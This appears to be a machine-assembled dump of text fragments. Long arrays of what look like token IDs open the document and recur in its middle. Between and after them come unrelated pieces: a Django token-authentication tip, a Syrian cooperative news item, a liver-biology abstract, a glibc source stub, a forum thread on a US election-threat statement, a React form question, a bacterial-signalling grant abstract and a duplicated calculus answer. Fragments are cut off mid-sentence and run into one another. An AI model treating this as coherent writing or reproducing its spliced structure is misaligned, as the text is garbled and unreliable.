13, 3690, 904, 8978, 17658, 13470, 13, 32261, 24792, 13, 9693, 13, 6908, 187, 50275, 2640, 10768, 14, 1012, 2922, 5106, 15, 50276, 8480, 187, 187, 4, 3709, 654, 39386, 15, 73, 31, 187, 4, 3709, 654, 8400, 1545, 15, 73, 31, 187, 4, 3709, 654, 328, 382, 69, 15, 73, 31, 535, 187, 3122, 5057, 1873, 14, 6160, 1491, 670, 30047, 21932, 15, 50276, 8480, 187, 5056, 540, 187, 876, 71, 3967, 8259, 313, 9194, 13, 1416, 10, 187, 50273, 565, 29439, 28, 187, 50273, 565, 1416, 28, 187, 92, 187, 50276, 338, 313, 9194, 654, 470, 10, 187, 50274, 92, 187, 50272, 876, 1178, 64, 39386, 313, 22917, 2350, 39, 558, 187, 50272, 2309, 428, 18, 28, 187, 50274, 94, 535, 50276, 16065, 313, 1590, 10, 187, 50274, 92, 187, 50274, 6986, 27, 187, 50272, 876, 1178, 64, 39386, 313, 37213, 558, 187, 50272, 2309, 428, 18, 28, 535, 50274, 5045, 795, 5077, 64, 26679, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 11779, 64, 40555, 1139, 27, 187, 50274, 5045, 795, 5077, 64, 11779, 64, 35446, 27, 187, 50274, 5045, 795, 5077, 64, 9536, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 18999, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 49, 36066, 64, 36675, 27, 187, 50274, 5045, 795, 5077, 64, 42937, 64, 11779, 36675, 27, 187, 50274, 5045, 795, 5077, 64, 2775, 15122, 64, 46489, 29237, 1703, 27, 187, 50274, 5045, 795, 5077, 64, 7716, 64, 3125, 34893, 27, 187, 50274, 5045, 795, 5077, 64, 8528, 1830, 8908, 27, 187, 50272, 7054, 28, 187, 50274, 94, 535, 50276, 876, 1178, 64, 39386, 313, 1400, 2697, 6328, 558, 187, 50276, 2309, 428, 18, 28, 187, 94, 187, 187, 20881, 64, 29913, 36238, 71, 3967, 8259, 13, 269, 3967, 8259, 10, 187, 187, 296, 538, 64, 28207, 313, 71, 3967, 8259, 10, 187, 4, 3709, 654, 296, 538, 14, 7784, 15, 73, 31, 187, 187, 9431, 4061, 9966, 7252, 37144, 1758, 27, 29686, 46371, 17251, 323, 253, 2448, 5259, 428, 347, 3878, 78, 4071, 187, 3614, 1358, 2700, 15, 69, 8311, 15, 12312, 16, 4663, 15, 5581, 16, 13608, 4461, 16, 7100, 14, 49399, 16, 4835, 16, 19, 15270, 14, 25322, 14, 1615, 14, 9068, 1026, 14, 39874, 14, 88, 3370, 312, 14, 1173, 266, 1758, 14, 24508, 14, 26039, 14, 11183, 14, 1542, 14, 783, 14, 40463, 266, 14, 4387, 187, 4738, 187, 284, 3878, 78, 4071, 187, 6300, 253, 26432, 574, 479, 8392, 275, 15, 26013, 871, 672, 1852, 28968, 22, 15323, 32, 309, 457, 78, 4854, 187, 28489, 347, 3517, 347, 7948, 15, 9535, 272, 2069, 13, 281, 320, 2119, 15, 187, 187, 31, 1623, 4163, 2164, 13, 9169, 13, 309, 6808, 247, 3908, 281, 253, 2448, 1345, 5277, 271, 187, 31, 440, 39651, 18389, 273, 5639, 14207, 281, 253, 9169, 6132, 285, 9159, 187, 31, 5044, 5018, 281, 29966, 690, 273, 841, 14207, 15, 2058, 326, 673, 13, 309, 35696, 326, 187, 31, 253, 530, 15, 52, 15, 19256, 12244, 313, 1864, 10, 651, 4035, 281, 5731, 253, 2448, 187, 31, 1345, 285, 643, 2234, 28022, 327, 253, 25537, 6132, 4322, 13016, 13, 187, 31, 1223, 671, 4999, 4297, 13218, 776, 9260, 4973, 285, 3082, 15, 187, 187, 31, 11056, 13, 359, 403, 2403, 1175, 327, 326, 9023, 407, 9628, 3081, 1491, 187, 31, 342, 253, 1345, 327, 253, 21546, 285, 4712, 273, 776, 18539, 3927, 342, 187, 31, 1675, 281, 253, 9169, 6132, 15, 831, 1491, 310, 1146, 4439, 323, 253, 187, 31, 4096, 273, 1805, 36689, 7108, 594, 597, 476, 1132, 247, 4619, 2554, 275, 187, 31, 4999, 4297, 13218, 776, 6132, 15, 23195, 310, 253, 6323, 1345, 5731, 27, 535, 50, 27, 187, 187, 2347, 281, 755, 941, 432, 2380, 15, 8456, 285, 1509, 326, 281, 4445, 32, 187, 187, 42, 717, 1663, 747, 281, 23782, 285, 4410, 2310, 15, 309, 452, 3562, 436, 830, 187, 605, 4666, 11911, 187, 2948, 23782, 13, 551, 27740, 748, 432, 686, 22312, 5618, 187, 2948, 551, 7327, 13, 1660, 89, 5232, 13, 4974, 2230, 4756, 748, 432, 686, 433, 2310, 14, 630, 5618, 187, 187, 605, 2840, 11911, 187, 2948, 23370, 6825, 432, 686, 4598, 433, 2310, 16, 14825, 16, 6682, 6825, 84, 5618, 187, 187, 3474, 8600, 6180, 426, 35236, 1511, 13, 5203, 13, 3280, 13, 11419, 27, 551, 14435, 13, 2228, 209, 12104, 3001, 313, 187, 50274, 29, 2154, 32181, 568, 5423, 14, 736, 1138, 187, 50272, 29, 1288, 4725, 187, 50272, 29, 1968, 38958, 1968, 28379, 1968, 31, 187, 50272, 29, 1288, 4725, 187, 50272, 29, 5423, 551, 1051, 5423, 94, 1511, 11787, 1511, 748, 4357, 187, 50272, 92, 14435, 3857, 2228, 3857, 187, 50271, 29, 2551, 32181, 568, 3775, 1138, 92, 2228, 748, 870, 2551, 31, 94, 187, 50274, 870, 2154, 31, 187, 50276, 10, 187, 187, 2437, 27036, 5232, 8725, 27740, 551, 187, 50276, 36073, 9, 21390, 910, 187, 50274, 12185, 9, 21390, 10, 535, 50274, 2520, 15, 3409, 426, 551, 187, 50272, 12025, 27, 29278, 187, 50272, 21280, 27, 29278, 187, 50272, 3409, 27, 15078, 187, 50274, 94, 187, 50276, 94, 535, 50276, 13393, 2374, 13086, 426, 2362, 3001, 551, 187, 50275, 2520, 15, 1178, 5443, 7506, 187, 50273, 60, 8045, 15, 7831, 15, 1590, 5218, 2362, 15, 7831, 15, 2877, 187, 50275, 9897, 187, 748, 535, 50276, 21399, 426, 35236, 2953, 5473, 1383, 2846, 5473, 1383, 1375, 5473, 8, 2311, 3001, 551, 187, 50274, 605, 9667, 15, 2808, 37428, 3409, 27, 7224, 2520, 15, 3409, 15, 12025, 94, 27362, 187, 50274, 1059, 2228, 426, 25425, 187, 50274, 1059, 310, 4756, 426, 3221, 28, 535, 50274, 338, 313, 12025, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 12025, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 21280, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 21280, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 3409, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 3409, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 261, 4756, 10, 551, 187, 50272, 22408, 747, 4974, 2230, 4756, 9, 3775, 558, 187, 50274, 94, 2010, 551, 187, 50272, 22452, 15, 2808, 9, 2520, 15, 21390, 10, 187, 50272, 6682, 6825, 15, 5996, 37428, 16, 8716, 11976, 436, 15, 3409, 10, 187, 50272, 22452, 15, 2808, 9, 2520, 15, 21390, 10, 187, 50272, 2520, 15, 1178, 5443, 7506, 2953, 27, 29278, 2846, 27, 29278, 1375, 27, 15078, 2311, 187, 50274, 94, 187, 50276, 94, 535, 50276, 12574, 1082, 551, 187, 50274, 2309, 313, 187, 50272, 29, 630, 327, 38403, 11787, 436, 15, 21390, 15, 13393, 38403, 9, 2520, 15, 21399, 10, 748, 31, 187, 50270, 29, 6180, 1416, 568, 12025, 3, 5203, 5473, 12236, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393, 2374, 13086, 94, 4725, 187, 50270, 29, 6180, 1416, 568, 21280, 3, 5203, 5473, 21093, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393, 2374, 13086, 94, 4357, 187, 50270, 29, 6180, 1416, 568, 3409, 3, 5203, 5473, 5443, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393 ]

enough, depending on which authentication method you want to use, token authentication is like: import auth views: from rest_framework.authtoken import views then define a url like: url(r'^login/$', views.obtain_auth_token) assuming you've properly generated tokens on sign up. This info is all in the authentication section of the DRF docs. If you're newer / unfamiliar with web security, maybe django-rest-auth or a similar plugin is the way to go for you. Setting up the second project of Cooperative house to encounter unemployment Al-Tabqa_ today, the cooperative house in the economic committee, affiliated to the civil administration of Al-Tabqa, set up a new project to encounter the unemployment, it was entitled (Euphrates ladies), where the representatives of the civil Administration of Al-Tabqa who work in economic field attended the opening time. However, the project included hand craft, sewing, textile yarn, pictures and decoration. During the opening ceremony, some made speech, one of them was the co-chair of the economic committee (Ahmad Al-Suliman) where he clarified that the goal of supporting such projects is to finish the unemployment, developing the economic situation of the region and giving ideal chance to support the productive ideas financially in order to contribute in society development. It worth mentioning that the number of beneficiaries of this project are 27 women and 2 men, while 11 sewing machines are ready for work, where each woman will have its own sewing, textile works…and other hand crafts. However, the cooperative house offered what is needed to launch the project that its ownership belongs to its workers, as soon as they 5% of profit, it will be used to support other projects.BMPS and liver: more questions than answers. Bone morphogenetic proteins (BMPs) belong to the TGF-β superfamily and were first discovered as potent bone homeostasis regulators for their ability to induce endochondral bone formation, ectopic bone formation and fracture repair. A preeminent role of BMP signaling in developmental control of cell type specification, differentiation and organogenesis is also well established. More recently, a role for BMPs in adult tissue homeostasis has started being revealed. Thus, new studies show that BMPs regulate many cellular processes such as proliferation, apoptosis, differentiation and migration in many tissues and organs. As a consequence, dysregulation of BMP activity can have pathological consequences, and there is mounting evidence for the involvement of BMPs in different human diseases. In this review, we have focused on summarizing the present knowledge on the relevance of BMPs in liver physiology and pathophysiology, from the well-recognized role in liver development to the emerging contribution to the function and dysfunction of the adult liver. While no doubts seem to rise about the regulatory activities of BMPs on metabolic pathways in the liver, potential pro- and anti-fibrogenic and tumorigenic actions will likely be a matter of debate during coming years. Collectively, the work here presented provides the basis to consider BMPs as potential targets of intervention in liver diseases./* Copyright (C) 1991, 1995, 1996, 1997 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #include <errno.h> #include <stddef.h> #include <unistd.h> /* Get file-specific information about descriptor FD. */ long int __fpathconf (fd, name) int fd; int name; { if (fd < 0) { __set_errno (EBADF); return -1; } switch (name) { default: __set_errno (EINVAL); return -1; case _PC_LINK_MAX: case _PC_MAX_CANON: case _PC_MAX_INPUT: case _PC_NAME_MAX: case _PC_PATH_MAX: case _PC_PIPE_BUF: case _PC_SOCK_MAXBUF: case _PC_CHOWN_RESTRICTED: case _PC_NO_TRUNC: case _PC_VDISABLE: break; } __set_errno (ENOSYS); return -1; } weak_alias (__fpathconf, fpathconf) stub_warning (fpathconf) #include <stub-tag.h> NCSC Director William Evanina: Election Threat Update for the American Public - aspenmayer https://www.dni.gov/index.php/newsroom/press-releases/item/2139-statement-by-ncsc-director-william-evanina-election-threat-update-for-the-american-public ====== aspenmayer Just the intro had me drawn in. Anyone know when #Volume5 drops? I’m hearing maybe as soon as Tuesday. Interesting times, to be sure. > On July 24, 2020, I issued a statement to the American public providing an > unclassified overview of foreign threats to the 2020 election and offering > basic steps to mitigate some of these threats. At that time, I pledged that > the U.S. Intelligence Community (IC) would continue to update the American > public and other key stakeholders on the evolving election threat landscape, > while also safeguarding our intelligence sources and methods. > Today, we are making good on that promise by sharing additional information > with the public on the intentions and activities of our adversaries with > respect to the 2020 election. This information is being released for the > purpose of better informing Americans so they can play a critical role in > safeguarding our election. Below is the latest public update: Q: How to get data from response.json and pass that to component? I am really new to React and Redux. I have created this form // node modules import React, { Component } from'react'; import { Field, reduxForm, SubmissionError } from'redux-form'; // custom modules import apiRequest from '../../redux/modules/apiRequests'; const renderField = ({ type, label, input, meta: { touched, error }}) => ( <div className="input-row"> <br /> <label>{label}</label> <br /> <input {...input} type={ type }/> { touched && error && <span className="error">{ error }</span>} </div> ) class LocationForm extends Component { constructor(props){ super(props) this.state = { address: '', city: '', state: '' } } handleOnChange = event => { this.setState({ [event.target.name]: event.target.value }); } submit = ({ address='', city='', state=''}) => { // console.log(`state: ${this.state.address}`) let error = {}; let isError = false; if (address.trim() === '') { error.address = 'Required'; isError = true; } if (city.trim() === '') { error.city = 'Required'; isError = true; } if (state.trim() === '') { error.state = 'Required'; isError = true; } if (isError) { throw new SubmissionError(error); } else { console.log(this.props) apiRequest.post(`/search`, this.state) console.log(this.props) this.setState({ address: '', city: '', state: ''}) } } render() { return ( <form onSubmit={ this.props.handleSubmit(this.submit) }> <Field name="address" label='Address:'component={renderField} type="text" onChange={this.handleOnChange} /> <Field name="city" label='City:'component={renderField} type="text" onChange={this.handleOnChange}/> <Field name="state" label='State:'component={renderField} type="text" onChange={this.handle

[ 8980, 281, 17314, 4324, 285, 1234, 560, 616, 4712, 15, 380, 4583, 4736, 273, 776, 2561, 310, 281, 3653, 849, 17314, 14, 2641, 83, 7601, 2718, 1159, 2543, 18260, 281, 14368, 10741, 2625, 28942, 15, 2596, 8578, 273, 17314, 4324, 18123, 23123, 24188, 1427, 275, 378, 15, 749, 1343, 261, 407, 3629, 253, 2281, 387, 534, 2101, 80, 17, 39, 13, 247, 4275, 2601, 275, 253, 24188, 1427, 2625, 28942, 7178, 13, 19889, 13505, 253, 372, 39715, 4004, 273, 247, 10545, 44928, 280, 3527, 15, 8035, 8578, 273, 17314, 4324, 1066, 1747, 17815, 253, 2440, 273, 6380, 30281, 275, 378, 15, 749, 1343, 261, 407, 24468, 1176, 34, 13, 253, 6303, 18304, 19768, 273, 2393, 30281, 3320, 2048, 13, 432, 4865, 281, 2303, 3882, 28960, 15, 14117, 378, 15, 749, 1343, 261, 17314, 4324, 326, 403, 417, 5705, 273, 8993, 1263, 275, 436, 10419, 14368, 253, 16239, 273, 6380, 3603, 285, 13878, 907, 253, 2425, 273, 9464, 2616, 643, 685, 1176, 34, 15, 733, 310, 1774, 432, 247, 1345, 1786, 32764, 281, 3653, 849, 17314, 4324, 14368, 10741, 2625, 28942, 984, 17314, 4324, 14368, 31402, 21903, 275, 23551, 16711, 15, 1198, 1650, 13, 24188, 1427, 310, 47960, 275, 378, 27755, 13950, 8306, 261, 13, 253, 47113, 5570, 273, 253, 2728, 13950, 31097, 13, 407, 17314, 4324, 16202, 327, 697, 15406, 285, 31402, 18242, 13, 268, 57, 520, 15, 831, 32070, 310, 2424, 323, 378, 15, 13950, 8306, 261, 281, 2489, 23551, 8466, 800, 1341, 275, 253, 9813, 3167, 15, 1359, 17314, 4324, 1159, 2543, 18260, 281, 14368, 253, 11117, 4712, 273, 616, 2303, 4324, 310, 417, 7192, 15, 14522, 13, 1777, 83, 15015, 403, 4561, 407, 271, 13474, 24988, 7178, 432, 1355, 4324, 16202, 407, 3608, 326, 14787, 342, 253, 495, 990, 273, 253, 17845, 3608, 15, 353, 1177, 1777, 83, 15482, 2259, 18238, 8094, 403, 21117, 715, 253, 894, 835, 597, 8980, 281, 17314, 4324, 285, 15582, 616, 4016, 10545, 2538, 327, 3320, 2048, 15, 496, 35291, 337, 359, 588, 3653, 849, 17314, 36, 18123, 23123, 6380, 30281, 275, 378, 15, 749, 1343, 261, 407, 24468, 253, 4865, 273, 1176, 34, 281, 2303, 3882, 28960, 285, 671, 921, 849, 253, 27668, 2625, 13, 1777, 83, 36, 13, 18653, 6380, 30281, 407, 24468, 253, 5016, 273, 17314, 36, 285, 1176, 34, 15, 496, 35291, 374, 359, 588, 10313, 849, 17314, 34, 21425, 378, 15, 749, 1343, 261, 24188, 1427, 407, 3629, 253, 2281, 273, 2101, 80, 17, 39, 372, 39715, 4004, 285, 671, 3653, 849, 253, 27668, 2625, 13, 1777, 83, 34, 13, 14757, 24188, 1427, 407, 24468, 253, 5016, 273, 17314, 34, 285, 2101, 80, 17, 39, 15, 380, 1594, 14, 1402, 14666, 5576, 13, 19183, 13, 285, 10741, 6380, 2175, 4081, 1060, 588, 10313, 13, 323, 253, 806, 673, 13, 849, 17314, 4324, 14368, 253, 4712, 273, 616, 2303, 4324, 285, 849, 1777, 83, 15015, 15582, 17314, 2601, 1159, 15, 33084, 4052, 253, 5787, 6297, 273, 17314, 14, 2641, 83, 1159, 588, 8046, 441, 281, 14294, 776, 1048, 14, 3945, 4736, 273, 20462, 38122, 5835, 326, 28498, 10741, 2625, 28942, 15, 4497, 13, 672, 4560, 253, 2170, 762, 247, 6970, 512, 368, 452, 281, 513, 310, 1089, 253, 2170, 762, 253, 1755, 6970, 285, 840, 43444, 253, 2170, 432, 253, 5004, 6970, 28, 187, 601, 13, 432, 428, 18, 281, 495, 359, 923, 326, 253, 1755, 6970, 310, 253, 1269, 14, 10565, 285, 253, 5004, 6970, 310, 269, 9, 89, 582, 840, 432, 495, 281, 577, 253, 1755, 6970, 604, 269, 9, 89, 10, 285, 253, 5004, 6970, 310, 340, 30, 17, 187, 187, 4497, 13, 672, 4560, 253, 2170, 762, 247, 6970, 512, 368, 452, 281, 513, 310, 1089, 253, 2170, 762, 253, 1755, 6970, 285, 840, 43444, 253, 2170, 432, 253, 5004, 6970, 28, 187, 601, 13, 432, 428, 18, 281, 495, 359, 923, 326, 253, 1755, 6970, 310, 253, 1269, 14, 10565, 285, 253, 5004, 6970, 310, 269, 9, 89, 582, 840, 432, 495, 281, 577, 253, 1755, 6970, 604, 269, 9, 89, 10, 285, 253, 5004, 6970, 310, 340, 30, 17, 187, 187, 35501, 594, 1199, 13, 2789, 3282, 13, 347, 309, 369, 2820, 281, 789, 562, 253, 4898, 273, 253, 19037, 13, 285, 417, 2970, 9825, 15, 187, 187, 9917, 752, 310, 253, 5150, 273, 436, 4951, 1386, 32, 187, 187, 6300, 281, 19148, 13, 812, 359, 452, 671, 4307, 562, 835, 436, 4951, 1386, 23965, 84, 253, 6970, 13, 3103, 253, 4898, 13, 285, 897, 326, 281, 1089, 253, 2170, 390, 253, 19037, 285, 823, 352, 281, 253, 2170, 273, 253, 6970, 13, 1119, 407, 9554, 32, 187, 187, 35501, 594, 1199, 13, 2789, 3282, 13, 347, 309, 369, 2820, 281, 789, 562, 253, 4898, 273, 253, 19037, 13, 285, 417, 2970, 9825, 15, 187, 187, 9917, 752, 310, 253, 5150, 273, 436, 4951, 1386, 32, 187, 187, 6300, 281, 19148, 13, 812, 359, 452, 671, 4307, 562, 835, 436, 4951, 1386, 23965, 84, 253, 6970, 13, 3103, 253, 4898, 13, 285, 897, 326, 281, 1089, 253, 2170, 390, 253, 19037, 285, 823, 352, 281, 253, 2170, 273, 253, 6970, 13, 1119, 407, 9554, 32, 187, 187, 2513, 436, 247, 3588, 1332, 347, 4714, 32, 187, 187, 510, 2170, 275, 253, 987, 273, 253, 5406, 310, 417, 247, 19037, 13, 594, 368, 476, 626, 1089, 253, 4898, 390, 2712, 751, 326, 2064, 2170, 310, 1160, 407, 247, 6970, 285, 247, 1386, 15, 187, 187, 42, 1158, 253, 1682, 1039, 281, 8415, 436, 2238, 273, 3237, 310, 752, 24834, 13678, 2692, 281, 368, 187, 21149, 322, 15, 56, 15, 20, 69, 7127, 313, 8012, 10, 187, 49, 2088, 34, 48488, 8, 52, 22508, 47, 41043, 13, 21346, 15, 285, 416, 16594, 13, 3690, 904, 277, 16, 67, 16, 66, 40208, 2516, 434, 45463, 13, 27528, 187, 87, 15, 187, 49085, 3044, 5915, 58, 13, 22706, 15, 187, 2302, 15, 5826, 14, 4061, 14, 19035, 1047, 14, 33765, 15, 187, 31177, 2111, 273, 18370, 15, 187, 22423, 2164, 13, 4695, 15, 187, 11, 2950, 35685, 367, 15, 32319, 538, 319, 25928, 13, 34819, 416, 15, 378, 3920, 1342, 13, 31472, 14272, 353, 7937, 13, 35038, 30735, 39914, 708, 26145, 13, 45479, 36, 13, 39492, 13, 47500, 13, 19330, 323, 9517, 40208, 2516, 434, 5625, 13, 3690, 15, 187, 49, 312, 7896, 308, 15, 2552, 13, 444, 5969, 444, 15, 5418, 14814, 13, 28084, 2552, 5405, 38541, 13, 367, 15, 52, 15, 36, 904, 367, 2804, 6169, 13, 47500, 13, 19330, 323, 9517, 416, 16594, 13, 3690, 904, 277, 16, 67, 16, 66, 40208, 2516, 434, 45463, 15, 187, 36, 15, 7195, 388, 646, 316, 13, 43522, 322, 15, 19967, 2327, 13, 388, 646, 316, 708, 19967, 2327, 13, 45479, 36, 13, 39492, 13, 47500, 13, 19330, 323, 22706, 15, 187, 43, 15, 12808, 411, 13749, 13, 24518, 411, 13749, 13, 45479, 36, 13, 39492, 13, 47500, 13, 5119, 500, 15, 611, 21393, 8420, 13, 10213, 443, 786, 249, 13, 15273, 353, 15, 19787, 2205, 13, 611, 21393, 8420, 13, 5721, 7068, 13, 714, 4988, 13, 443, 786, 249, 708, 6625, 37267, 13, 41439, 13, 1457, 2816, 13, 10310, 13, 19330, 323, 3052, 23301, 11579, 18620, 5625, 1879, 3903, 885, 7115, 15, 187, 7912, 16231, 378, 15, 3619, 35406, 13, 13651, 500, 15, 6956, 265, 254, 13, 399, 968, 3062, 708, 1608, 37844, 13, 41439, 13, 24766, 16240, 13, 47500, 13, 19330, 323, 3052, 23301, 11579, 18620, 18370, 23119, 273, 20249, 15, 187, 48, 22104, 273, 253, 2111, 407, 8293, 353, 7999, 1139, 15, 187, 187, 42, 15, 39507, 15, 187, 187, 1552, 310, 247, 1083, 7668, 253, 2523, 273, 14754, 9570, 15951, 37993, 9781, 13, 271, 2523, 273, 806, 13214, 275, 18370, 15, 733, 15877, 275, 253, 3634, 273, 247, 24764, 14079, 285, 809, 20717, 15091, 4724, 407, 247, 7731, 347, 247, 906, 273, 247, 40208, 2516, 434, 22534, 6742, 4783, 3430, 15, 187, 11, 2504, 380, 7731, 8927, 23460, 253, 6742, 6254, 285, 40208, 2516, 434, 5625, 13, 3690, 904, 23962, 326, 40208, 2516, 434, 369, 15951, 274, 8140, 15922, 347, 253, 6254, 434, 11169, 15, 380, 6254, 434, 11169, 13, 2299, 13, 369, 416, 16594, 13, 3690, 904, 247, 40208, 2516, 434, 17117, 70, 15, 13162, 13, 253, 7731, 4724, 1529, 15091, 1411, 416, 16594, 28, 285, 253, 5049, 1302, 33114, 253, 2219, 15, 380, 5049, 1302, 7169, 6010, 3883, 275, 3718, 273, 416, 16594, 285, 40208, 2516, 434, 323, 2710, 4606, 13, 534, 359, 588, 2319, 275, 253, 1563, 7118, 273, 436, 4743, 15, 380, 2111, 273, 9892, 13, 2299, 13, 16337, 275, 629, 285, 13891, 275, 629, 347, 281, 1097, 416, 16594, 285, 40208, 2516, 434, 13, 26215, 326, 13241, 3374, 273, 2144, 958, 38932, 6010, 3883, 15, 187, 1909, 310, 973, 14, 12569, 1070, 275, 776, 1083, 1569, 13, 253, 6254, 434, 11169, 13, 416, 16594, 13, 310, 2256, 281, 15951, 37993, 9781, 323, 247, 9810, 7730, 407, 697, 8183, 8534, 1561, 253, 7990, 273, 8410, 15, 844, 7525, 326, 253, 6993, 19375, 273, 1060, 5866, 1561, 271, 3907, 2282, 273, 2589, 326, 812, 417, 452, 644, 6034, 407, 253, 6254, 281, 5752, 667, 4096, 273, 253, 11169, 15, 1893, 13, 3738, 323, 1027, 4606, 326, 359, 588, 2319, 2708, 13, 359, 7525, 326, 253, 5049, 1302, 6283, 7169, 6010, 3883, 29999, 253, 24764, 14079, 1750, 1411, 416, 16594, 15, 10022, 13, 359, 8107, 253, 2111, 273, 9892, 347, 281, 416, 16594, 15, 187, 510, 5049, 1302, 285, 253, 2111, 273, 9892, 9713, 253, 15951, 37993, 9781, 273, 40208, 2516, 434, 970, 247, 6804, 7351, 273, 1183, 19070, 255, 8936, 285, 27723, 35418, 6757, 9241, 15, 15797, 2278, 13, 359, 7525, 326, 359, 1364, 1379, 247, 625, 10799, 2746, 1677, 253, 12980, 28780, 273, 253, 17117, 1332, 273, 2509, 2136, 275, 18370, 15, 1916, 326, 990, 13, 359, 5283, 247, 4086, 275, 534, 253, 14754, 9570, 310, 15951, 274, 8140, 15922, 323, 253, 9810, 784, 2589, 273, 253, 17117, 70, 672, 352, 13, 275, 958, 13, 556, 1453, 390, 987, 273, 1453, 689, 253, 5312, 4254, 273, 253, 2173, 4809, 273, 253, 17117, 70, 434, 2136, 326, 310, 5575, 281, 452, 4269, 253, 5237, 15, 40208, 2516, 434, 574, 642, 1453, 689, 253, 22534, 6742, 6254, 434, 22991, 13, 9810, 784, 2589, 275, 436, 1083, 15, 1893, 40208, 2516, 434, 2550, 320, 2918, 15951, 274, 8140, 15922, 15, 4129, 323, 1027, 4606, 326, 359, 588, 2319, 2708, 13, 359, 7525, 326, 253, 5049, 1302, 6283, 7169, 6010, 3883, 29999, 253, 24764, 14079, 285, 809, 20717, 3916, 1411, 40208, 2516, 434, 15, 10022, 13, 359, 8107, 253, 2111, 273, 9892, 347, 281, 40208, 2516, 434, 15, 187, 187, 2267, 15, 10601, 33949, 4889, 25717, 1703, 48160, 388, 6905, 15258, 2949, 3003, 32984, 14732, 15, 187, 187, 49085, 46801, 310, 247, 14544, 273, 31291, 790, 6121, 13, 18370, 15, 754, 21186, 767, 9341, 13, 247, 18572, 5148, 28604, 2567, 285, 247, 15067, 6500, 458, 2355, 2567, 904, 1623, 253, 7237, 273, 5080, 1283, 13, 5307, 13, 344, 369, 2444, 3563, 387, 253, 18572, 5148, 2136, 15, 3900, 344, 369, 2444, 13, 521, 4475, 1925, 779, 670, 8955, 285, 2183, 779, 326, 703, 651, 751, 281, 452, 40208, 2516, 434, 22534, 13, 534, 597, 574, 1620, 3597, 15, 3032, 4475, 2546, 779, 281, 1340, 581, 22534, 323, 731, 323, 6742, 281, 616, 1728, 285, 1529, 22534, 323, 616, 2419, 20984, 323, 6742, 281, 617, 1728, 15, 754, 6960, 253, 268, 11114, 284, 432, 247, 40208, 2516, 434, 4657, 13, 3192, 690, 673, 281, 40279, 670, 849, 253, 4657, 4845, 253, 13835, 12355, 327, 253, 22534, 13, 285, 873, 598, 253, 767, 40547, 15, 1244, 344, 2546, 604, 253, 6742, 6254, 812, 3523, 745, 387, 521, 2136, 323, 7830, 984, 521, 4475, 858, 417, 452, 667, 2583, 342, 617, 15, 380, 4657, 4767, 326, 352, 812, 16041, 342, 521, 2710, 9762, 15, 187, 510, 6742, 6254, 326, 2360, 369, 29443, 437, 29053, 15, 29053, 8549, 253, 767, 268, 11114, 284, 285, 840, 6331, 387, 46801, 434, 2136, 323, 7830, 15, 29053, 285, 46801, 2028, 767, 6281, 273, 752, 5866, 1735, 13, 3738, 616, 9508, 403, 417, 7094, 1027, 15, 187, 7130, 281, 46801, 13, 846, 46801, 5087, 779, 13, 29053, 6376, 387, 46801, 434, 2136, 275, 46801, 434, 3906, 285, 39257, 670, 8410, 15, 475, 2385, 46801, 369, 638, 32980, 342, 643 ]

bind to Rap proteins and repress their activities. The overall goal of our research is to determine how Rap-Phr signaling systems function mechanistically to regulate bacterial signal transduction. One subset of Rap proteins negatively regulates sporulation in B. subtilis by increasing the rate at which Spo0F, a central protein in the sporulation signal transduction pathway, catalyzes the dephosphorylation of a regulatory aspartic acid. Another subset of Rap proteins downregulates the development of genetic competence in B. subtilis by inhibiting ComA, the master transcriptional regulator of early competence gene expression, from binding to target DNA promoters. Additional B. subtilis Rap proteins that are not subjects of immediate study in this proposal regulate the mobility of genetic elements and antagonize the activity of transcription factors other than ComA. It is important from a public health standpoint to determine how Rap proteins regulate bacterial signal transduction because Rap proteins regulate virulence phenotypes in pathogenic organisms. For example, sporulation is repressed in Bacillus anthracis, the causative agent of the disease anthrax, by Rap proteins encoded on its chromosome and virulence plasmid, pX01. This repression is required for B. anthracis to become pathogenic vegetative cells in the infected host. How Rap proteins function mechanistically to regulate the diverse activities of their target proteins is not understood. Interestingly, Phr peptides are generated by an export maturation pathway from small proteins encoded by genes that overlap with the 3 end of the rap genes. Mature Phr pentapeptide molecules are imported into the cell where they bind to Rap proteins and inhibit their negative regulatory effects on gene expression. In Aim 1 we will determine how RapC negatively regulates genetic competence in B. subtilis by inhibiting the binding of ComA to target DNA promoters and also show how the secreted signal, PhrC, promotes genetic competence by inhibiting the interaction of RapC and ComA. In Aim 2 we will reveal how RapA inhibits B. subtilis sporulation by increasing the rate of Spo0F dephosphorylation and also determine how the secreted signal, PhrA, induces sporulation by inhibiting the interaction of RapA and Spo0F. The X-ray crystallographic, biochemical, and bacterial genetic studies proposed here will reveal, for the first time, how Rap proteins regulate the activities of their target proteins and how Phr peptides inhibit Rap protein function. Revealing the molecular mechanisms of Rap-Phr function will enable us to accomplish our long-term goal of designing antibacterial drugs that modulate bacterial signal transduction.Well, when finding the area under a curve all you have to do is find the area under the top curve and then subtract the area from the bottom curve; so, from -1 to 3 we see that the top curve is the x-axis and the bottom curve is f(x), then from 3 to 4 the top curve if f(x) and the bottom curve is y=0 Well, when finding the area under a curve all you have to do is find the area under the top curve and then subtract the 